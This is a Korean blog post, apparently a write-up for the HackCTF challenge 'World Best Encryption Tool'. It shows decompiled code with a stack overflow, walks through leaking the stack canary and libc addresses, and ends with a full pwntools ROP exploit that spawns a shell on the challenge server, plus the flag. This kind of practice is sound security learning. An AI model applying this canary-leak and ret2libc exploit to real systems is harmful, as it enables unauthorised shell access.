ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • World Best Encryption Tool
    CTF/HackCTF 2021. 2. 9. 03:56

    Disassembly 디스어셈블리


    undefined8 main(void)
    {
        int32_t iVar1;
        int64_t in_FS_OFFSET;
        int64_t var_88h;
        char *src;
        char *dest;
        int64_t canary;
        
        canary = *(int64_t *)(in_FS_OFFSET + 0x28);
        setvbuf(_reloc.stdout, 0, 2, 0);
    
        do {
            puts("Your text)");
            __isoc99_scanf("%s", &src); // stack buffer overflow
            for (int i = 0; i < 0x32; i++) {
                src[i] ^= 0x1c;
            }
            strncpy(&dest, &src, 0x39);
            printf("Encrypted text)\n%s", &dest);
    
            puts("\nWanna encrypt other text? (Yes/No)");
            __isoc99_scanf("%s", (int64_t)&var_88h + 4);
            iVar1 = strcmp((int64_t)&var_88h + 4, "Yes");
        } while (iVar1 == 0);
    
        iVar1 = strcmp((int64_t)&var_88h + 4, "No");
        if (iVar1 != 0) {
            printf("It\'s not on the option");
        }
    
        if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
            uVar2 = __stack_chk_fail();
        }
        return;
    }

    main은 scanf로 데이터를 입력받고 처음 0x32바이트에 or 연산을 한 뒤 출력한다.

    Leak canary


    dest가 rbp-0x40에 위치하므로 중간에 null 바이트가 없다면 canary가 같이 출력될 것이다.

    payload = b"A"*0x39
    p.sendlineafter("Your text)", payload)
    
    p.recvuntil("Encrypted text)\n")
    p.recv(0x38)
    canary = u64(p.recv(8)) - 0x41
    
    log.info("canary : " + hex(canary))
    
    p.sendlineafter("(Yes/No)", "Yes")

    strncpy를 이용해 canary의 마지막 null 바이트를 덮어씌우면 이를 알아낼 수 있다.

    Leak libc address


    스택 카나리를 알아냈으므로 return address를 원하는 대로 덮어쓸 수 있다.

    def build_ROP(offset, src):
    	payload = b"\x90"*0x8*offset
    	payload += src
    	p.sendlineafter("Your text)", payload)
    	p.sendlineafter("(Yes/No)", "Yes")
    
    payload = p64(prdi)
    payload += p64(setvbuf_got)
    payload += p64(puts_plt)
    payload += p64(prdi)
    payload += p64(scanf_got)
    payload += p64(puts_plt)
    build_ROP(17, payload)
    
    build_ROP(15, p64(canary))
    
    payload = b"A"*0x38
    p.sendlineafter("Your text)", payload)
    p.sendlineafter("(Yes/No)\n", "No")

    위와 같이 라이브러리 주소를 알아내기 위한 payload를 구성한 뒤에 카나리를 덮어써주면 된다.

    setvbuf = u64(p.recvline().strip().ljust(8, b"\x00"))
    __isoc99_scanf = u64(p.recvline().strip().ljust(8, b"\x00"))
    
    log.info("setvbuf : " + hex(setvbuf))
    log.info("__isoc99_scanf : " + hex(__isoc99_scanf))

    알아낸 라이브러리 주소를 libc-database에 검색하면 라이브러리 버전을 확인할 수 있다.

    Return Oriented Programming


    라이브러리 주소를 알아냈고, 카나리를 이미 알고 있으므로 ROP를 진행해 system("/bin/sh")를 호출하면 문제를 해결할 수 있다.

    payload = p64(prdi)
    payload += p64(binsh)
    payload += p64(system)
    build_ROP(17, payload)
    
    build_ROP(15, p64(canary))
    
    payload = b"A"*0x38
    p.sendlineafter("Your text)", payload)
    p.sendlineafter("(Yes/No)\n", "No")

    Code

    더보기
    from pwn import *
    
    binary = "./World_best_encryption_tool"
    lib = "./libc6_2.23-0ubuntu11_amd64.so"
    server = "ctf.j0n9hyun.xyz"
    port = 3027
    
    # context.log_level = 'debug'
    context.binary = binary
    
    if True:
    	p = remote(server, port)
    else:
    	p = gdb.debug([binary], gdbscript = 'set debug-file-directory ./x86_64-linux-gnu')
    
    e = ELF(binary)
    r = ROP(e)
    l = ELF(lib)
    
    e.checksec()
    
    payload = b"A"*0x39
    p.sendlineafter("Your text)", payload)
    
    p.recvuntil("Encrypted text)\n")
    p.recv(0x38)
    canary = u64(p.recv(8)) - 0x41
    
    log.info("canary : " + hex(canary))
    
    p.sendlineafter("(Yes/No)", "Yes")
    
    prdi = (r.find_gadget(['pop rdi', 'ret'])[0])
    
    main = e.symbols["main"]
    puts_plt = e.plt["puts"]
    setvbuf_got = e.got["setvbuf"]
    
    def build_ROP(offset, src):
    	payload = b"\x90"*0x8*offset
    	payload += src
    	p.sendlineafter("Your text)", payload)
    	p.sendlineafter("(Yes/No)", "Yes")
    
    payload = p64(prdi)
    payload += p64(setvbuf_got)
    payload += p64(puts_plt)
    payload += p64(main)
    build_ROP(17, payload)
    
    build_ROP(15, p64(canary))
    
    payload = b"A"*0x38
    p.sendlineafter("Your text)", payload)
    p.sendlineafter("(Yes/No)\n", "No")
    
    setvbuf = u64(p.recvline().strip().ljust(8, b"\x00"))
    libc = setvbuf - l.symbols["setvbuf"]
    
    system = libc + l.symbols["system"]
    binsh = libc + next(l.search(b"/bin/sh\x00"))
    
    log.info("libc : " + hex(libc))
    
    payload = p64(prdi)
    payload += p64(binsh)
    payload += p64(system)
    build_ROP(17, payload)
    
    build_ROP(15, p64(canary))
    
    payload = b"A"*0x38
    p.sendlineafter("Your text)", payload)
    p.sendlineafter("(Yes/No)\n", "No")
    
    p.interactive()

    Flag

    HackCTF{I_th0ught_X0R_is_the_w0rld_b3st_Encrypti0n}

    'CTF > HackCTF' 카테고리의 다른 글

    UAF  (0) 2021.02.09
    Beginner_Heap  (0) 2021.02.09
    j0n9hyun's secret  (0) 2021.02.07
    SysROP  (0) 2021.02.05
    Pwning  (0) 2021.02.05

    댓글

Designed by Tistory.